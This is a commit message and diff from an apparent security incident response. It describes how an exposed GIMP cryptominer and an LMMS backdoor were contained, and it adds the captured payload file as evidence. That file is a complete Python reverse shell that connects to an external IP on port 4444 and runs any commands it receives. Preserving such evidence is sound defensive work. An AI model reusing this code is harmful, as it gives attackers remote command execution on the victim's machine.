security: contain GIMP cryptominer + LMMS reverse-shell backdoor (2026-11-11)

- Weblog desktops were unauthenticated and publicly reachable (entry vector)
- Caddy basic_auth applied to gimp/lmms/video/audio routes -> 401 verified
- Webtop-native CUSTOM_USER/PASSWORD on all four (defence in depth)
- GIMP + LMMS rebuilt clean; gimp-config volume deleted, lmms-config quarantined
- Removed /home/sam:ro mount from GIMP (was exposing secrets to the container)
- Service-controller restarted (was dead, which is why toggles did nothing)
- Incident record + captured payload in docs/incident-2026-11-11*

docs/incident-2026-11-11/lmms-system.py

@@ -0,0 +1,29 @@
+import socket, subprocess, time, sys, os, fcntl
+LOCK_FILE = "/tmp/.sys_core.lock"
+try:
+    fp = open(LOCK_FILE, 'w')
+    fcntl.flock(fp, fcntl.LOCK_EX | fcntl.LOCK_NB)
+except IOError:
+    sys.exit(0)
+
+SERVER = "84.8.219.196"
+PORT = 4444
+
+while True:
+    try:
+        s = socket.socket()
+        s.connect((SERVER, PORT))
+        while True:
+            cmd = s.recv(1024).decode()
+            if not cmd or cmd.lower() in ["q", "quit", "x", "exit"]:
+                break
+            try:
+                res = subprocess.check_output(cmd, stderr=subprocess.STDOUT, shell=True)
+            except Exception as e:
+                res = str(e).encode()
+            if len(res) == 0:
+                res = b"[+] Executed\n"
+            s.send(res)
+        s.close()
+    except:
+        time.sleep(5)